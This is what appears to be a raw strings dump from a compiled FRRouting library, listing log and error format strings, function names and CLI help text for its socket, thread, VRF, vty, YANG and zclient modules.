%d)AF_INETAF_INET6AF_UNIXAF_PACKETAF_NETLINKAF_(%ju)SOCK_STREAMSOCK_DGRAMSOCK_SEQPACKETSOCK_RAWSOCK_PACKETSOCK_(%ju)Can't make socket for %s : %scan't bind socket for %s : %slib/sockunion.cname.sa.sa_family, fdttl, sockSocket union[Z0[[[[[[[[XZ[[[[[ZY^]X^x]^]^^^^\sockunion_getpeernamesockunion_getsocknamesockopt_v6onlysockopt_minttlsockopt_ttlsockopt_reuseportsockopt_reuseaddrsockunion_bindsockunion_stream_socketsockunion_connectsockunion_socketcan't connect to %s fd %d : %scan't make socket sockunion_stream_socketcan't set sockopt SO_REUSEADDR to socket %d errno=%d: %scan't set sockopt SO_REUSEPORT to socket %dcan't set sockopt IP_TTL %d to socket %dcan't set sockopt IPV6_UNICAST_HOPS %d to socket %dcan't set sockopt IP_MINTTL to %d on socket %d: %scan't set sockopt IPV6_MINHOPCOUNT to %d on socket %d: %scan't set sockopt IPV6_V6ONLY to socket %dCan't get local address and port by getsockname: %sUnexpected AFI received(%d) for sockunion_getsockname call for fd: %dCan't get remote address and port: %sUnexpected AFI received(%d) for sockunion_getpeername call for fd: %dminttl, sock, safe_strerror(errno)sockunion_log(su, buf, SU_ADDRSTRLEN), safe_strerror(errno)sockunion_log(&su, str, sizeof(str)), fd, safe_strerror((*__errno_location ()))QUIETLONG_WAIT(never)%Z %a %Y-%m-%d %H:%M:%SSHORT_WAIT%sCurrent state:     %s
%sFirst event:       %s
%sLast event:        %s
debug spf-delay-ietf
lib/spf_backoff.cspf_backoff_holddown_elapsed&backoff->t_holddown&backoff->t_timetolearnno debug spf-delay-ietfno_spf_backoff_debug_cmdno_spf_backoff_debugSPF backoff nameSPF backoffSPF Back-off(%s) HOLDDOWN elapsed, move to state %sSPF Back-off(%s) TIMETOLEARN elapsed, move to state %sSPF Back-off(%s) schedule called in state %sSPF Back-off(%s) changed state to %s and returned %ld delay%sInit timer:        %ld msec
%sShort timer:       %ld msec
%sLong timer:        %ld msec
%sHolddown timer:    %ld msec
%s                   Still runs for %lld msec
%s                   Inactive
%sTimeToLearn timer: %ld msec
backoff->name, spf_backoff_state2str(backoff->state)backoff->name, spf_backoff_state2str(backoff->state), rvspf_backoff_timetolearn_elapsedNegate a command or set its defaults
Debugging functions
SPF Back-off Debugging
Debugging functions
SPF Back-off Debugging
spf_backoff_cmd_initspf_backoff_timetolearn_elapsedspf_backoff_holddown_elapsedspf_backoff_schedule from lib/srcdest_table.crnode_is_dstnode(rn)Route source noderoute_unlock_nodesrcdest_rnode_from_rnode&(struct stream): %p, size: %lu, getp: %lu, endp: %lu%s: Attempt to %s out of bounds%s: unknown ip address-family: %uCHECK_SIZE: truncating requested size %lu(void *)(s), (unsigned long)(s)->size, (unsigned long)(s)->getp, (unsigned long)(s)->endpENDP_VALID(orig, (orig)->endp)GETP_VALID(orig, (orig)->getp)(void *)(orig), (unsigned long)(orig)->size, (unsigned long)(orig)->getp, (unsigned long)(orig)->endp(void *)(s2), (unsigned long)(s2)->size, (unsigned long)(s2)->getp, (unsigned long)(s2)->endp(void *)(s1), (unsigned long)(s1)->size, (unsigned long)(s1)->getp, (unsigned long)(s1)->endpSTREAM_SIZE(dest) >= src->endp(void *)(src), (unsigned long)(src)->size, (unsigned long)(src)->getp, (unsigned long)(src)->endpset getpset endpseek getprewind getpseek endpget charget get 3byteget longget fromget quadget uint64get ipv4get ipaddrputput quad%s: read failed on fd %d: %slib/stream.cENDP_VALID(s, (s)->endp)GETP_VALID(s, (s)->getp)__func__, ("put")(unsigned long)(size)msgh->msg_iovlen > 0__func__, ip->ipa_type__func__, ("put quad")__func__, ("get ipaddr")__func__, ("get ipv4")__func__, ("get uint64")__func__, ("get quad")__func__, ("get long")__func__, ("get from")__func__, ("get 3byte")__func__, ("get ")__func__, ("get char")__func__, ("get")__func__, ("seek endp")__func__, ("rewind getp")__func__, ("seek getp")__func__, ("set endp")__func__, ("set getp")ENDP_VALID(s2, (s2)->endp)GETP_VALID(s2, (s2)->getp)ENDP_VALID(s1, (s1)->endp)GETP_VALID(s1, (s1)->getp)dest != NULLENDP_VALID(src, (src)->endp)GETP_VALID(src, (src)->getp)size > 0Stream FIFOStreamstream_flushstream_resetstream_emptystream_pntstream_writestream_recvmsgstream_recvfromstream_read_trystream_readstream_put_labeled_prefixstream_put_prefix_addpathstream_put_in6_addr_atstream_put_in_addr_atstream_put_ipaddrstream_put_in_addrstream_put_ipv4stream_putq_atstream_putl_atstream_put3_atstream_putw_atstream_putc_atstream_putqstream_putlstream_put3stream_putwstream_putcstream_putstream_get_ipaddrstream_get_ipv4stream_getq2stream_getqstream_getq_fromstream_getlstream_getl2stream_get_fromstream_getl_fromstream_get3stream_get3_fromstream_getw_fromstream_getwstream_getw2stream_getc_fromstream_getcstream_getc2stream_getstream_get2stream_forward_endp2stream_forward_endpstream_rewind_getp2stream_rewind_getpstream_forward_getp2stream_forward_getpstream_set_endpstream_set_getpstream_get_sizestream_get_endpstream_get_getpstream_resize_inplacestream_dupcatstream_dupstream_copystream_newǷ#aly@PPP0PPPP PPPPPPPP0123456789abcdef.%0*llu""--:--:--%Y-%m-%dT%H:%M:%S%02lld:%02lld:%02lld%lldw%s%lldd%s%02lldh%lldd%s%02lldh%s%02lldm%lldw%s%lldd%s{invalid time format input specifier}WATCHDOG=1STATUS=STOPPING=1READY=1STATUS=%sNOTIFY_SOCKETWATCHDOG_PIDWATCHDOG_USECJOURNAL_STREAM%ju:%ju%nlib/systemd.cwatchdog_usecsystemd_send_watchdogwatchdog_msec > 0m != NULLsystemd expects a %jd microsecond watchdog timer, but FRR only supports millisecond resolution!systemd_init_envsystemd_send_watchdogsystemd_send_startedroute_table_iter_cleanuproute_table_iter_pauseroute_table_get_next_internalroute_table_get_nextroute_table_prefix_iter_cmproute_unlock_noderoute_node_deletern_hash_node_finiroute_table_freelib/table.c!iter->currentcmp < 0node->info == NULLnode->lock == 0rt->count == 0Route nodeRoute tableroute_table_prefix_iter_cmp(&node->p, p) > 0prefix_bit(&p2->u.prefix, common->prefixlen)!prefix_bit(&p2->u.prefix, common->prefixlen)common->prefixlen < p2->prefixlencommon->prefixlen < p1->prefixlen%-*slib/termtable.c!buf[pos](int)col < tt->ncols(int)row < tt->nrows(int)i < tt->nrowsi >= -1 && i < tt->nrowsASCII tablettable_dumpttable_padttable_alignttable_del_rowttable_insert_row_va+--||--||         (int)col + (int)ncol <= tt->ncols(int)row + (int)nrow <= tt->nrows8@0(8@0(Phdebug_signalsthread_callthread_process_io_helperthread_process_timersfd_pollthread_fetchthread_cancel_asyncthread_cancelthread_add_unusethread_timer_list_delthread_cancel_rwdo_thread_cancelcancel_event_helper_thread_add_event_thread_add_timer_msec_thread_add_timer_timeval_thread_add_timer_thread_add_read_writetime_hhmmssthread_freethread_cmd_initshow_thread_timers_magiccpu_record_clearshow_thread_pollcpu_record_print%5zu %10zu.%03zu %9zu %8zu %9zu %8zu %9zu %9zu %9zu %10zuInvalid filter "%s" specified; must contain at leastone of 'RWTEXB'
Timer: %pTHD is created with an expiration that is greater than 1 yearAttempting to process an I/O event but for fd: %d(%d) no thread to handle this![!] Received cancellation request for nonexistent rw job
Collecting CPU time statistics is currently disabled.  Following statistics
will be zero or may display data from when collection was enabled.  Use the
  "service cputime-stats"  command to start collecting data.

Counters and wallclock times are always maintained and should be accurate.
Showing statistics for pthread %s
-------------------------------%s
Active   Runtime(ms)   Invoked Avg uSec Max uSecs  CPU_Warn Wall_Warn Starv_Warn Type   Thread
 Avg uSec Max uSecs  CPU_Warn Wall_Warn	%6d fd:%6d events:%2d revents:%2d		Thread Starvation: %pTHD was scheduled to pop greater than 4s agoCPU HOG: task %s (%lx) ran for %lums (cpu time %lums)STARVATION: task %s (%lx) ran for %lums (cpu time %lums)thread->xref->funcname, (unsigned long)thread->func, walltime / 1000, cputime / 1000m->handler.pfds[pos].fd, actual_statecount + 1 < m->handler.pfdsizemaster->owner != pthread_self()!(thread && eventobj) && (thread || eventobj)master->owner == pthread_self()h->hh.array[index] == &item->timeritem.himaster->name ? master->name : "", fdqueuepos + 1 < m->handler.pfdsize!"Number of FD's open is greater than FRR currently configured to handle, aborting"Show running system information
Thread information
Show all timers and how long they have in the system
Clear stored data in all pthreads
Thread information
Thread CPU usage
Display filter (rwtexb)
Show running system information
Thread information
Show poll FD's and information
[no] service walltime-warning ![(1-4294967295)]Negate a command or set its defaults
Set up miscellaneous service
Warn for tasks exceeding total wallclock threshold
Warning threshold in milliseconds
[no] service cputime-warning ![(1-4294967295)]Negate a command or set its defaults
Set up miscellaneous service
Warn for tasks exceeding CPU usage threshold
Warning threshold in milliseconds
Negate a command or set its defaults
Set up miscellaneous service
Collect CPU usage statistics
Show running system information
Thread information
Thread CPU usage
Display filter (rwtex)
  %c%c%c%c%c  %s
FILTER[!] threadmaster: %s | fd: %dmainTOTALReal (wall-clock):CPU (user+system):%30s %18s %18s
 Avg uSec Max uSecsNo data to display yet.
Total thread statistics
-------------------------
  Type  Thread

Showing poll FD's for %s
----------------------%s
Count: %u/%d
ERROR ERROR

Showing timers for %s
  %-50s%pTH
{(thread *)NULL}{(thread *)%p arg=%p %-6s INVALID(%u)fd=%dr=%pTVMud %-12s %s() %s from %s:%d}%s - threadmaster event hash%02ld:%02ld:%02ldpoll() error: %sexeclib/thread.c__func__, bufm != NULL && thread != NULLm->owner == pthread_self()time_relativefd >= 0buf_size >= 8master->alloc > 0show thread timersshow_thread_timers_cmdshow_thread_timersclear thread cpu [FILTER]clear_thread_cpu_cmdclear_thread_cpushow thread pollshow_thread_poll_cmdshow_thread_pollservice_walltime_warning_cmdservice_walltime_warningservice_cputime_warning_cmdservice_cputime_warning[no] service cputime-statsservice_cputime_stats_cmdservice_cputime_statsshow thread cpu [FILTER]show_thread_cpu_cmdshow_thread_cpuThread statsThread Poll InfoThread mastertypesafe_heap_resizelib/typesafe.c!newsizeTyped-heap arraySkiplist overflowTyped-hash bucketVector indexVectordebug vrf
/frr-vrf:lib/vrf[name='%s']VRF_SWITCHBACKVRF_SWITCH: %s(%u)(NULL)VRF(%u) %s is created.VRF %s(%u) is enabled.VRF %s(%u) is to be disabled.VRF %s(%u) is to be deleted.VRF BIT HASHlib/vrf.cvrf->name, vrf->vrf_idname, vrf->vrf_id, new_vrf_idname, vrf_id, vrf->vrf_idfrr-vrf/frr-vrf:lib/vrf/frr-vrf:lib/vrf/state/id/frr-vrf:lib/vrf/state/activevrf debugno debug vrfno_vrf_debug_cmdno_vrf_debug%s(config-vrf)# no vrf NAMEno_vrf_cmdno_vrfexit-vrfvrf_exit_cmdvrf_exitnexthop_vrfVRF bit-map%% VRF name %s invalid: length exceeds %d bytes
VRF_GET: avoid %s creation(%u), same name exists (%u)Vrf Update event: %s old id: %u, new id: %uOnly inactive VRFs can be deleted%s: Shutting down vrf subsystem%% Only inactive VRFs can be deleted
%s: Initializing VRF subsystemvrf_init: failed to create the default VRF!vrf_init: failed to enable the default VRF!bind to interface %s failed, errno=%d%s: Can't switch to VRF %u (%s)%s: Can't switchback from VRF %u (%s)__func__, vrf_id, safe_strerror(errno)ifname, (*__errno_location ())vrf_id, (name) ? name : "(NULL)"Negate a command or set its defaults
Debugging functions
VRF Debugging
Debugging functions
VRF Debugging
Negate a command or set its defaults
Delete a pseudo VRF's configuration
VRF's name
Select a VRF to configure
VRF's name
vrf_sockunion_socketvrf_ioctlvrf_getaddrinfovrf_bindvrf_cmd_initvrf_install_commandsvrf_socketvrf_terminatevrf_initvrf_disablevrf_enablevrf_deletevrf_updatevrf_getvrf_switchback_to_initialvrf_switch_to_netns\`[[\\@\0[4$4D|4L84DT4444ē,4444Dd444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444.dƗ|d|4Lvty_save_cwdvty_initvty_read_filevty_read_configvty_serv_unvty_acceptvtysh_acceptvty_event_servvty_serv_sock_addrinfovtysh_readvtysh_flushvty_commandvty_telnet_optionvty_readvty_flushvty_eventvty_time_print getaddrinfo failed: %secho PINGvty[%d]@%sWarning...
%% Ambiguous command.
%% [%s] Unknown command: %s
%% Command incomplete.
, live logline vty
 ipv6 access-class %s
 exec-timeout %ld %ld
 no login
log commands
frr_timestamp errorMOTD file not found
can't accept vty socket : %sconsole%% not supported
Cannot bind path %s: %slisten(fd %d) failed: %s%-10s   %-s
%% Command is too long.
Vty connection from %pSUVty password is not set.

User Access Verification

Ambiguous commandNo such commandCommand returned WarningCommand returned Incompletevtysh%s on config line %u: %sFailure to getcwd, errno: %dlib/vty.cSYSCONFDIR, errnoconfig_default_dir__func__, config_file__func__, errno&suvtysh_accept&vty_serv->t_acceptvty_acceptgai_strerror(ret)__func__, vty->fdprompt_str, bufvty->fd, vty->wfdvty_timeout&vty->t_timeoutvty_flush&vty->t_writevty_read&vty->t_readvtysh_writevtysh_read%s(config-line)# [no] log commandslog_commands_cmdlog_commandsshow historyshow_history_cmdshow_historyterminal no monitorterminal_no_monitor_cmdterminal_no_monitorno terminal monitorno_terminal_monitor_cmdno_terminal_monitorterminal monitor [detach]no service advanced-vtyno_service_advanced_vty_cmdno_service_advanced_vtyno loginno_vty_login_cmdno_vty_loginEnable password checking
no ipv6 access-class [WORD]no_vty_ipv6_access_class_cmdno_vty_ipv6_access_classipv6 access-class WORDno access-class [WORD]no_vty_access_class_cmdno_vty_access_classno exec-timeoutno_exec_timeout_cmdno_exec_timeoutexec_timeout_sec_cmdexec_timeout_secexec-timeout (0-35791)exec_timeout_min_cmdexec_timeout_minline vtyline_vty_cmdline_vtyDisplay who is on vty
config_who_cmdconfig_whoVTY historyVTY output bufferVTY serverVTY%% Regex compilation error: %s
CPU HOG: command took %lums (cpu time %lums): %sSTARVATION: command took %lums (cpu time %lums): %s%% Bad passwords, too many failures!
%% Bad enable passwords, too many failures!
%svty[%d] connected from %s%s.
Access-class is not currently applied to vty
IPv6 access-class is not currently applied to vty
Daemon started with permanent logging turned on for commands, ignoring
vtysh_accept: could not set vty socket %d to non-blocking, %s, closing%% error opening live log: %m
Cannot create unix stream socket: %svty_serv_un: could chown socket, %s%% Configuration is locked by other client
Warning: uncommitted changes will be discarded on exit.

buffer_flush failed on vty client fd %d/%d, closing
Vty connection is timed out.
%s: read error on vty client fd %d, closing: %sRFC 1073 violation detected: telnet NAWS option should send %d characters, but we received %lu%% CLI BUG: FULL_MATCH with NULL str
%% There is no matched command.
%s: write error to fd %d, closing%s: read failed on vtysh client fd %d, closing: %sVty unable to convert prefix from sockunion %pSUVty connection refused from %pSUcan't set sockopt to vty_sock : %sCommand returned Warning Config FailedCommand exceeded maximum number of ArgumentsCommand returned unhandled error message%s: failure to determine Current Working Directory %d!%s: failed to open configuration file %s: %s, checking backupusing backup configuration file!%s: can't open configuration file [%s]can't open configuration file [%s]exiting with a pending confirmed commit. Rolling back to previous configuration.

Failure to chdir to %s, errno: %dmessage, ve->line_num, ve->error_buf__func__, config_default_dir, safe_strerror(errno)__func__, fullpath, safe_strerror(errno)safe_strerror((*__errno_location ()))!"vty_event_serv() called incorrectly"walltime / 1000, cputime / 1000, bufBug detected: sizeof(vty->sb_buf) %lu < %d, too small to handle the telnet NAWS option(unsigned long)sizeof(vty->sb_buf), TELNET_NAWS_SB_LENTELNET_NAWS_SB_LEN, (unsigned long)vty->sb_len__func__, vty->fd, safe_strerror(errno)!"vty_event() called incorrectly"Negate a command or set its defaults
Logging control
Log all commands
Show running system information
Display the session command history
Set terminal line parameters
Negate a command or set its defaults
Copy debug output to the current terminal line
Negate a command or set its defaults
Set terminal line parameters
Copy debug output to the current terminal line
Set terminal line parameters
Copy debug output to the current terminal line
Keep logging feed open independent of VTY session
Negate a command or set its defaults
Set up miscellaneous service
Enable advanced mode vty interface
Set up miscellaneous service
Enable advanced mode vty interface
Negate a command or set its defaults
Enable password checking
Negate a command or set its defaults
IPv6 information
Filter connections based on an IP access list
IPv6 access list
IPv6 information
Filter connections based on an IP access list
IPv6 access list
Negate a command or set its defaults
Filter connections based on an IP access list
IP access list
Filter connections based on an IP access list
IP access list
Negate a command or set its defaults
Set the EXEC timeout
exec-timeout (0-35791) (0-2147483)Set the EXEC timeout
Timeout in minutes
Timeout in seconds
Set timeout value
Timeout value in minutes
Configure a terminal line
Virtual terminal
%s: Removing %p: %lld %lldlib/wheel.c%s: Inserting %p: %lld %lldwheel_timer_thread&wheel->timerwheel_timer_thread_helperTimer Wheel Slot ListTimer Wheelwheel_remove_itemwheel_add_itemwheel_timer_thread_helperwheel_timer_threadwheel_init__func__, item, slot, slot % wheel->slots%s: Wheel Slot: %lld(%lld) count: %d__func__, wheel->curr_slot, curr_slot, ((wheel->wheel_slot_lists[curr_slot])->count)Q. Runs(ms) %c %8s %5s %8s %8s %21s
Cycle Counts   YieldsHoldItemsAvg.Gran.Bestlib/workqueue.cwqwork_queue_run&wq->threadlib/workqueue.hwq->item_count > 0item && item->datashow work-queuesshow_work_queues_cmdshow_work_queuesWork queue name stringWork queue itemWork queue%c %8s %5s %8s %8s %7s %6s %8s %6s %s
%c %8d %5d %8ld %8ld %7d %6d %8ld %6u %s
Show running system information
Work Queue information
work_queue_runworkqueue_cmd_initshow_work_queueswork_queue_schedulework_queue_item_newwork_queue_addwork_queue_item_dequeuework_queue_item_remove0123456789ABCDEFGHJKMNPQRSTVWXYZlibyang: %s (%s)libyang: %sietf-inet-typesietf-yang-types%s: couldn't find %s%s: lyd_validate() failedYANG error(s):
 YANG path: /usr/share/yang%s: ly_ctx_new() failedlib/yang.cdnode->parentYANG_MODELS_PATH"/usr/share/yang"dnode__func__, set->count, xpath__func__, type__func__, module_namefrr-routingfrr-nexthopfrr-ripdfrr-ripngdfrr-isisdfrr-vrrpdfrr-zebrafrr-pathdYANG data structureYANG moduleYANG model "%s@%s" "%s@%s"not embedded, trying external file%s: failed to load data model: %s%s: YANG module is loaded already: %s%s: unknown yang path type: %u%s: found %u elements (expected 0 or 1) [xpath %s]yang model directory "%s" does not existcannot access yang model directory "%s"%s: failed to compile loaded modules: %s__func__, ly_errmsg(ly_native_ctx)mod_name, mod_rev ? mod_rev : "*", submod_name ? submod_name : "*", submod_rev ? submod_rev : "*"dnode->schema->nodetype == LYS_LEAFsnode->nodetype != LYS_AUGMENT && snode->nodetype != LYS_GROUPING && snode->nodetype != LYS_USESyang_is_last_level_dnodeyang_init_loading_completeyang_inityang_module_imp_clbyang_ctx_new_setupyang_data_list_findyang_dnode_dupyang_dnode_newyang_dnode_change_leafyang_dnode_is_defaultyang_dnode_iterateyang_dnode_getyang_dnode_get_schema_nameyang_snode_get_pathyang_snodes_iterate_subtreeyang_module_loadKEY1KEY2KEY3KEY4%[^']%s: missing mapping for "%s"./familyYANG translation table./module%s: failed to load module: %s./module/mappings./custom./native%s: sscanf() failed: %s%s: lyd_new_path() failedfrr-module-translatorlib/yang_translator.csnode_native__func__, xpath_native__func__, xpath_custom__func__, familyYANG Translator MappingYANG Translator ModuleYANG Translator%s: YANG types are incompatible (xpath: "%s")%s: lyd_parse_path() failed: %d/frr-module-translator:frr-module-translator%s: module translator "%s" is loaded already%s: failed to validate "%s" module translator: %u error(s)%s: failed to load the "frr-module-translator" module__func__, translator->family, args.errorsyang_translator_inityang_translate_dnodeyang_translate_xpathyang_translator_validate_cbyang_translator_validateyang_translator_load%lf%llu.%06luZip4ip4-ifindexip6ip6-ifindexfrr-routing:ipv4-unicastfrr-routing:ipv6-unicastfrr-routing:ipv4-multicastfrr-routing:ipv6-multicastfrr-routing:l2vpn-evpnfrr-routing:ipv4-flowspecfrr-routing:ipv6-flowspeclib/yang_wrappers.c__func__, (__xpath)__dleafsnode->nodetype == LYS_LEAF%s: couldn't convert string to decimal64 [xpath %s]%s: couldn't convert string to enum [xpath %s]%s: couldn't convert enum to string [xpath %s]%s: value was truncated [xpath %s]frr-routing:l3vpn-ipv4-unicastfrr-routing:l3vpn-ipv6-unicastfrr-routing:ipv4-labeled-unicastfrr-routing:ipv6-labeled-unicastdvalue->realtype->basetype == LY_TYPE_UINT64dvalue->realtype->basetype == LY_TYPE_UINT32dvalue->realtype->basetype == LY_TYPE_UINT16dvalue->realtype->basetype == LY_TYPE_UINT8dvalue->realtype->basetype == LY_TYPE_INT64dvalue->realtype->basetype == LY_TYPE_INT32dvalue->realtype->basetype == LY_TYPE_INT16dvalue->realtype->basetype == LY_TYPE_INT8dvalue->enum_item->flags & LYS_SET_VALUEdvalue->realtype->basetype == LY_TYPE_ENUMtype->basetype == LY_TYPE_ENUMCHECK_FLAG(enums[i].flags, LYS_SET_VALUE)dectype->fraction_digits < sizeof(denom) / sizeof(*denom)dectype->basetype == LY_TYPE_DEC64dvalue->realtype->basetype == LY_TYPE_BOOLyang_dnode_get_emptyyang_dnode_get_binary_bufyang_get_default_string_bufyang_dnode_get_string_bufyang_dnode_xpath_get_canonyang_dnode_get_uint64yang_dnode_get_uint32yang_dnode_get_uint16yang_dnode_get_uint8yang_dnode_get_int64yang_dnode_get_int32yang_dnode_get_int16yang_dnode_get_int8yang_dnode_get_enumyang_data_new_enumyang_str2enumyang_dnode_get_dec64yang_str2dec64yang_get_default_valueyang_dnode_xpath_get_valueyang_dnode_get_bool??{Gz?MbP?h㈵>ư>Hz>:0yE>&.>|=dy=-q=vIh%<=+=V瞯<ؗҜ<FFg<C]r2<%s: received %d > %d (MAX_CLASS_TYPE) bw entries - outdated library?Could not parse interface values; aborting%s: Garbage VRF backend type: %dRx'd interface add from Zebra, but VRF %u does not exist%s: buffer_flush_available failed on zclient fd %d, closing%s: socket %d version mismatch, marker %d, version %d%s: socket %d message length %u is less than %d %s: message size %u exceeds buffer size %lu, expanding...%s: buffer_write failed to zclient fd %d, closing%s: Invalid Sync Message Reply%s: set_nonblocking(%d) failed%s: Specified zapi NHG command (%d) doesn't exist%s: zapi NHG encode with invalid input%s: Specified route type (%u) is not a legal value%s: Specified route SAFI (%u) is not a legal value%s: prefix %pFX: can't encode %u nexthops (maximum is %u)%s: prefix %pFX: can't encode %u labels (maximum is %u)%s: prefix %pFX: can't encode %u backup nexthops (maximum is %u)%s: prefix %pFX: backup: can't encode %u labels (maximum is %u)%s: opaque length %u is greater than allowed value%s: invalid number of MPLS labels (%u)%s: Specified route type: %d is not a legal value%s: V4 prefixlen is %d which should not be more than 32%s: v6 prefixlen is %d which should not be more than 128%s: Specified family %d is not v4 or v6%s: SRC Prefix prefixlen received: %d is too large%s: SRC prefix specified in some manner that makes no sense%s: invalid number of nexthops (%u)%s: invalid number of backup nexthops (%u)INTERFACE_STATE: Cannot find IF %s in VRF %d%s: unknown ifindex %u, shouldn't happenINTERFACE_ADDRESS_%s: Cannot find IF %u in VRF %dinterface %s address %pFX with peer flag set, but no peer address!INTERFACE_NBR_%s: Cannot find IF %u in VRF %dINTERFACE_VRF_UPDATE: Cannot find IF %s in VRF %dWrong proto (%u) in LM connect response. Should be %uWrong instId (%u) in LM connect response. Should be %uWrong proto (%u) in get chunk response. Should be %uWrong instId (%u) in get chunk response Should be %uUnable to assign Label Chunk to %s instance %uInvalid Label chunk: %u - %u, keeps mismatch %u != %uZclient sock connection closed%s: can't write to zclient->sock%s: zclient->sock connection closed%s: label %u: can't encode %u labels (maximum is %u)%s: label %u: can't decode %u labels (maximum is %u)%s: label %u: can't encode %u nexthops (maximum is %u)%s: Specified prefix length %d is greater than a v4 address can support%s: Specified prefix length %d is greater than a v6 address can support%s: Specified family %u is not v4 or v6%s: Prefix %pFX has %d nexthops, but we can only use the first %d%s: Prefix %pFX has a blackhole nexthop which we cannot use for a label%s: Prefix %pFX has %d backup nexthops, but we can only use the first %d%s: Prefix %pFX has a backup blackhole nexthop which we cannot use for a label__func__, &zl->route.prefix, zl->backup_nexthop_num, MULTIPATH_NUM__func__, &zl->route.prefix, zl->nexthop_num, MULTIPATH_NUM__func__, zl->route.prefix.family__func__, zl->route.prefix.prefixlen__func__, zl->local_label, zl->nexthop_num, MULTIPATH_NUM__func__, zt->local_label, zt->label_num, MPLS_MAX_LABELS%s: Table chunk request (%d bytes) sent%s: Table manager connect request sent%s: Table Manager connect response received, result %uLabel chunk request (%d bytes) sentLabel Chunk assign: %u - %u (%u)*start, *end, keep, response_keepzebra_route_string(proto), instanceproto, zclient->redist_defaultReleasing SRv6-Locator Chunk %s%s: Response (%d bytes) receivedConnecting to Label Manager (LM)LM connect request sent (%d bytes)LM connect-response received, result %utype == ZEBRA_INTERFACE_NBR_ADDRESS_DELETE(type == ZEBRA_INTERFACE_NBR_ADDRESS_ADD) ? "ADD" : "DELETE", ifindex, vrf_idtype == ZEBRA_INTERFACE_ADDRESS_DELETE(type == ZEBRA_INTERFACE_ADDRESS_ADD) ? "ADD" : "DEL", ifindex, vrf_id__func__, zebra_error_type2str(*error)__func__, seq, prio, uni, ifname__func__, api->backup_nexthop_num__func__, api->src_prefix.prefixlen__func__, api->prefix.prefixlen__func__, &api->prefix, api_nh->label_num, MPLS_MAX_LABELS__func__, &api->prefix, api->backup_nexthop_num, MULTIPATH_NUM__func__, &api->prefix, api->nexthop_num, MULTIPATH_NUMzclient connect success with socket [%d]%s: send deregister messages for VRF %u%s: send register messages for VRF %u__func__, sock, *marker, *version__func__, bwclassnum, MAX_CLASS_TYPE!"Failed to parse interface values"zclient connection closed socket [%d].zclient, zserv_command_string(command), vrf_id__func__, length, (unsigned long)STREAM_SIZE(zclient->ibuf)__func__, zclient->sock, length, ZEBRA_HEADER_SIZE__func__, zclient->sock, marker, versionzclient connect failures: %d schedule interval is now %dzclient->fail, zclient->fail < 3 ? 10 : 60__func__, (*__errno_location ()), safe_strerror((*__errno_location ()))lX`@`@@e	4
4
T	T	-,,,|,|,<,```__H`````aa``zclient_send_zebra_gre_requestzclient_get_nhg_startzebra_send_pwzapi_labels_decodezapi_labels_encodezapi_sr_policy_decodezapi_sr_policy_encodetm_release_table_chunktm_get_table_chunktm_table_manager_connectlm_release_label_chunklm_get_label_chunkzclient_send_get_label_chunksrv6_manager_release_locator_chunksrv6_manager_get_locator_chunkzclient_read_sync_responselm_label_manager_connectzebra_interface_vrf_update_readzebra_interface_nbr_address_readzebra_interface_address_readzebra_interface_link_params_readzebra_interface_state_readzapi_error_decodezapi_iptable_notify_decodezapi_ipset_entry_notify_decodezapi_ipset_notify_decodezapi_rule_notify_decodezapi_route_decodezapi_nexthop_decodezapi_route_encodezapi_nhg_encodezclient_initzclient_startzclient_send_dereg_requestszclient_send_reg_requestszclient_read_headerzclient_connectlink_params_set_valuezebra_interface_if_set_valuezclient_interface_addzclient_capability_decodezclient_readzclient_eventzclient_flush_datazclient_send_messagezclient_socket_connectzclient_stopredist_del_all_instancesredist_check_instance%s if %u%s: invalid zclient socketCan't write to zclient sockZclient sock closedInvalid Label chunk: %u - %u%s: unknown afOffload Failed Offloaded Trapped RR Distance Evpn Override Selected iBGP Self Recursion None %s%s%s%s%s%s%s%s%s%sSync Proxy SVI MAC Router Gateway MAC Sticky MAC %s : zclient not readylib/zclient.cproto < ZEBRA_ROUTE_MAX__func__, &zl->route.prefixReleasing Table ChunkGetting Table ChunkTable Chunk assign: %u - %u *start, *end__func__, retConnecting to Table Manager__func__, resultReleasing Label Chunk %u - %ustart, endGetting Label Chunk*start, *end, response_keepinstance, zclient->instancelocator_nameGetting SRv6-Locator Chunk %s__func__, sizeifname, vrf_idifp->name, ifc->addressifname_tmp, vrf_id%s: type: %s%s: %u__func__, uni%s: %u %u %u %s__func__, api->opaque.length__func__, api->nexthop_num__func__, api->prefix.family__func__, api->safi__func__, api->type__func__, api_nh->label_num__func__, cmdscheduling zclient connectionzclient_start is calledzclient connection fail__func__, zclient->sock__func__, vrf_idzclient_connect is called__func__, vrf_backendzclient %p command %s VRF %uzclient_read&zclient->t_readzclient_connect&zclient->t_connectzclient_flush_data&zclient->t_write%s connect failure: %d(%s)zclient %p stoppedzclientRedistribution instance IDsZclient[EC %u]logbuf.%jdunlink logbuf: %s (%d)| (%s) %16lx %-36s%+03d:%02d.%09lu%3s %2d %02d:%02d:%02d/var/tmp/frr%s/%s-%d.%ld%s[%d]: %s/%s.%ldfailed to open "%s": %sfailed to rmdir "%s": %slib/zlog.cJanFebMarAprJunJulAugSepOctNovDechdrlen < msg->stackbufszzlog_aux_initzlog_finizlog_initlog thread-local bufferlog messagefailed to open thread log buffer "%s": %sfailed to allocate thread log buffer "%s": %sfailed to mmap thread log buffer "%s": %sfailed to anonymous-mmap thread log buffer: %s| (%s) message in thread %jd, at %s(), %s:%d| (%s) scheduled from %s(), %s:%u%s:%d: %s(): assertion (%s) failed, extra info: %pVA%s:%d: %s(): assertion (%s) failedcrashlog and per-thread log buffering unavailable!zlog_tmpdir, strerror((*__errno_location ()))"/var/tmp/frr", strerror((*__errno_location ()))strerror((*__errno_location ())), (*__errno_location ())mmpath, strerror((*__errno_location ()))zlog_finizlog_initzlog_msg_textzlog_tls_buffer_finizlog_tls_buffer_initlogging socket %pSE error: %m<%d>1  %s %s %jd %.*s [location@50145 tid="%jd" instance="%d" id="%s" ec="%u"[args@50145 arg%zu=%*pSQsq<%d> %s[%jd]: FRR_INSTANCE=%d
FRR_ID=%s
FRR_EC=%d
FRR_ARG%zu=%*pSE
MESSAGE=lib/zlog_5424.cstate.iov == iovneed == 0zcf->filenamezlog_5424_reconnect&zcf->t_reconnectzcf->masterextended log rotate helperextended log target<%d>1 %04u-%02u-%02uT%02u:%02u:%02uZ - %s %jd %.*s  <%d>%3s %2u %02u:%02u:%02u %s%s[%jd]: PRIORITY=%d
SYSLOG_FACILITY=%d
FRR_DAEMON=%s
